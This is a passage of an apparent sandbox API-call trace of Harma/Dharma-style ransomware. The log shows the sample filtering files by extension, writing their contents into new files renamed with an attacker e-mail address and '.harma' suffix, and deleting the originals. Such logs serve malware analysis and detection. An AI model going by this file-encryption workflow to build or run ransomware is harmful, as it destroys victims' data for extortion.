(lpString=".zip") returned 4 [0064.696] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0064.696] lstrlenW (lpString=".rar") returned 4 [0064.696] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0064.696] lstrlenW (lpString=".bz2") returned 4 [0064.696] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0064.696] lstrlenW (lpString=".7z") returned 3 [0064.696] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0064.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0064.697] lstrlenW (lpString=".dbf") returned 4 [0064.697] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0064.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0064.697] lstrlenW (lpString=".1cd") returned 4 [0064.697] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0064.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0064.697] lstrlenW (lpString=".jpg") returned 4 [0064.697] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0064.697] lstrcmpiW (lpString1=".sys", lpString2=".harma") returned 1 [0064.697] lstrlenW (lpString="pagefile.sys") returned 12 [0064.697] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.697] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0064.697] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0064.697] lstrlenW (lpString=".doc") returned 4 [0064.697] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0064.697] lstrlenW (lpString=".docx") returned 5 [0064.697] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0064.697] lstrlenW (lpString=".pdf") returned 4 [0064.697] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0064.697] lstrlenW (lpString=".xls") returned 4 [0064.697] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0064.697] lstrlenW (lpString=".xlsx") returned 5 [0064.697] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0064.697] lstrlenW (lpString=".ppt") returned 4 [0064.697] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0064.697] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0064.698] lstrlenW (lpString=".zip") returned 4 [0064.698] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0064.698] lstrlenW (lpString=".rar") returned 4 [0064.698] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0064.698] lstrlenW (lpString=".bz2") returned 4 [0064.698] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0064.698] lstrlenW (lpString=".7z") returned 3 [0064.698] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0064.698] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0064.698] lstrlenW (lpString=".dbf") returned 4 [0064.698] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0064.698] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0064.698] lstrlenW (lpString=".1cd") returned 4 [0064.698] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0064.698] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0064.698] lstrlenW (lpString=".jpg") returned 4 [0064.698] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0064.698] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0064.698] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0064.698] lstrlenW (lpString=".doc") returned 4 [0064.698] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0064.698] lstrlenW (lpString=".docx") returned 5 [0064.698] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0064.698] lstrlenW (lpString=".pdf") returned 4 [0064.698] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0064.698] lstrlenW (lpString=".xls") returned 4 [0064.698] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0064.698] lstrlenW (lpString=".xlsx") returned 5 [0064.698] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0064.698] lstrlenW (lpString=".ppt") returned 4 [0064.698] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0064.699] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0064.699] lstrlenW (lpString=".zip") returned 4 [0064.699] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0064.699] lstrlenW (lpString=".rar") returned 4 [0064.699] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0064.699] lstrlenW (lpString=".bz2") returned 4 [0064.699] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0064.699] lstrlenW (lpString=".7z") returned 3 [0064.699] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0064.699] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0064.699] lstrlenW (lpString=".dbf") returned 4 [0064.699] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0064.699] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0064.699] lstrlenW (lpString=".1cd") returned 4 [0064.699] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0064.699] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0064.699] lstrlenW (lpString=".jpg") returned 4 [0064.699] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0064.699] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0064.699] lstrlenW (lpString="MSADDNDR.DLL") returned 12 [0064.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0065.070] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=99136) returned 1 [0065.070] CloseHandle (hObject=0x1f4) returned 1 [0065.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0065.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0065.071] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0065.071] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0065.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0065.071] GetLastError () returned 0x0 [0065.071] ReadFile (in: hFile=0x1f4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x18340, lpOverlapped=0x0) returned 1 [0065.074] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x18350, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0x18350, lpOverlapped=0x0) returned 1 [0065.077] ReadFile (in: hFile=0x1f4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x0, lpOverlapped=0x0) returned 1 [0065.077] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.077] SetEndOfFile (hFile=0x1e4) returned 1 [0065.077] CloseHandle (hObject=0x1e4) returned 1 [0065.077] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0065.077] SetEndOfFile (hFile=0x1f4) returned 1 [0065.079] CloseHandle (hObject=0x1f4) returned 1 [0065.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.079] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 1 [0065.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0065.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0065.079] lstrlenW (lpString=".doc") returned 4 [0065.079] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0065.079] lstrlenW (lpString=".docx") returned 5 [0065.079] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0065.079] lstrlenW (lpString=".pdf") returned 4 [0065.079] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0065.079] lstrlenW (lpString=".xls") returned 4 [0065.079] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0065.079] lstrlenW (lpString=".xlsx") returned 5 [0065.079] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0065.079] lstrlenW (lpString=".ppt") returned 4 [0065.079] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0065.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0065.080] lstrlenW (lpString=".zip") returned 4 [0065.080] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0065.080] lstrlenW (lpString=".rar") returned 4 [0065.080] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0065.080] lstrlenW (lpString=".bz2") returned 4 [0065.080] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0065.080] lstrlenW (lpString=".7z") returned 3 [0065.080] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0065.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0065.080] lstrlenW (lpString=".dbf") returned 4 [0065.080] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0065.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0065.080] lstrlenW (lpString=".1cd") returned 4 [0065.080] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0065.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0065.080] lstrlenW (lpString=".jpg") returned 4 [0065.080] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0065.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0065.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0065.080] lstrlenW (lpString=".doc") returned 4 [0065.080] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0065.080] lstrlenW (lpString=".docx") returned 5 [0065.080] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0065.080] lstrlenW (lpString=".pdf") returned 4 [0065.080] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0065.080] lstrlenW (lpString=".xls") returned 4 [0065.080] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0065.080] lstrlenW (lpString=".xlsx") returned 5 [0065.080] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0065.080] lstrlenW (lpString=".ppt") returned 4 [0065.080] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0065.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0065.081] lstrlenW (lpString=".zip") returned 4 [0065.081] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0065.081] lstrlenW (lpString=".rar") returned 4 [0065.081] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0065.081] lstrlenW (lpString=".bz2") returned 4 [0065.081] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0065.081] lstrlenW (lpString=".7z") returned 3 [0065.081] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0065.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0065.081] lstrlenW (lpString=".dbf") returned 4 [0065.081] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0065.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0065.081] lstrlenW (lpString=".1cd") returned 4 [0065.081] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0065.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0065.081] lstrlenW (lpString=".jpg") returned 4 [0065.081] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0065.081] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0065.081] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0065.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0065.083] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=1369952) returned 1 [0065.083] CloseHandle (hObject=0x1f4) returned 1 [0065.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0065.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0065.083] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0065.083] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0065.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0065.084] GetLastError () returned 0x0 [0065.084] ReadFile (in: hFile=0x1f4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0xffff0, lpOverlapped=0x0) returned 1 [0065.107] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0065.293] ReadFile (in: hFile=0x1f4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x4e770, lpOverlapped=0x0) returned 1 [0065.306] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4e780, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0x4e780, lpOverlapped=0x0) returned 1 [0065.394] ReadFile (in: hFile=0x1f4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x0, lpOverlapped=0x0) returned 1 [0065.394] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0065.394] SetEndOfFile (hFile=0x1e4) returned 1 [0065.394] CloseHandle (hObject=0x1e4) returned 1 [0065.394] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0065.394] SetEndOfFile (hFile=0x1f4) returned 1 [0065.398] CloseHandle (hObject=0x1f4) returned 1 [0065.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.398] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 1 [0065.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0065.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0065.398] lstrlenW (lpString=".doc") returned 4 [0065.398] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0065.398] lstrlenW (lpString=".docx") returned 5 [0065.398] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0065.398] lstrlenW (lpString=".pdf") returned 4 [0065.398] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0065.399] lstrlenW (lpString=".xls") returned 4 [0065.399] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0065.399] lstrlenW (lpString=".xlsx") returned 5 [0065.399] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0065.399] lstrlenW (lpString=".ppt") returned 4 [0065.399] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0065.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0065.399] lstrlenW (lpString=".zip") returned 4 [0065.399] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0065.399] lstrlenW (lpString=".rar") returned 4 [0065.399] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0065.399] lstrlenW (lpString=".bz2") returned 4 [0065.399] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0065.399] lstrlenW (lpString=".7z") returned 3 [0065.399] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0065.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0065.399] lstrlenW (lpString=".dbf") returned 4 [0065.399] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0065.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0065.399] lstrlenW (lpString=".1cd") returned 4 [0065.399] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0065.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0065.399] lstrlenW (lpString=".jpg") returned 4 [0065.399] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0065.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0065.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0065.399] lstrlenW (lpString=".doc") returned 4 [0065.399] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0065.399] lstrlenW (lpString=".docx") returned 5 [0065.399] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0065.399] lstrlenW (lpString=".pdf") returned 4 [0065.400] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0065.400] lstrlenW (lpString=".xls") returned 4 [0065.400] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0065.400] lstrlenW (lpString=".xlsx") returned 5 [0065.400] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0065.400] lstrlenW (lpString=".ppt") returned 4 [0065.400] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0065.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0065.400] lstrlenW (lpString=".zip") returned 4 [0065.400] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0065.400] lstrlenW (lpString=".rar") returned 4 [0065.400] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0065.400] lstrlenW (lpString=".bz2") returned 4 [0065.400] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0065.400] lstrlenW (lpString=".7z") returned 3 [0065.400] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0065.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0065.400] lstrlenW (lpString=".dbf") returned 4 [0065.400] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0065.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0065.400] lstrlenW (lpString=".1cd") returned 4 [0065.400] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0065.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0065.400] lstrlenW (lpString=".jpg") returned 4 [0065.400] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0065.400] lstrcmpiW (lpString1=".HLP", lpString2=".harma") returned 1 [0065.400] lstrlenW (lpString="EQNEDT32.HLP") returned 12 [0065.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0065.401] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=176311) returned 1 [0065.401] CloseHandle (hObject=0x1f4) returned 1 [0065.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0065.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0065.401] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0065.402] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0065.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0065.402] GetLastError () returned 0x0 [0065.402] ReadFile (in: hFile=0x1f4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x2b0b7, lpOverlapped=0x0) returned 1 [0065.406] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0x2b0c0, lpOverlapped=0x0) returned 1 [0065.410] ReadFile (in: hFile=0x1f4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x0, lpOverlapped=0x0) returned 1 [0065.410] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.410] SetEndOfFile (hFile=0x1e4) returned 1 [0065.410] CloseHandle (hObject=0x1e4) returned 1 [0065.410] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0065.410] SetEndOfFile (hFile=0x1f4) returned 1 [0065.412] CloseHandle (hObject=0x1f4) returned 1 [0065.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 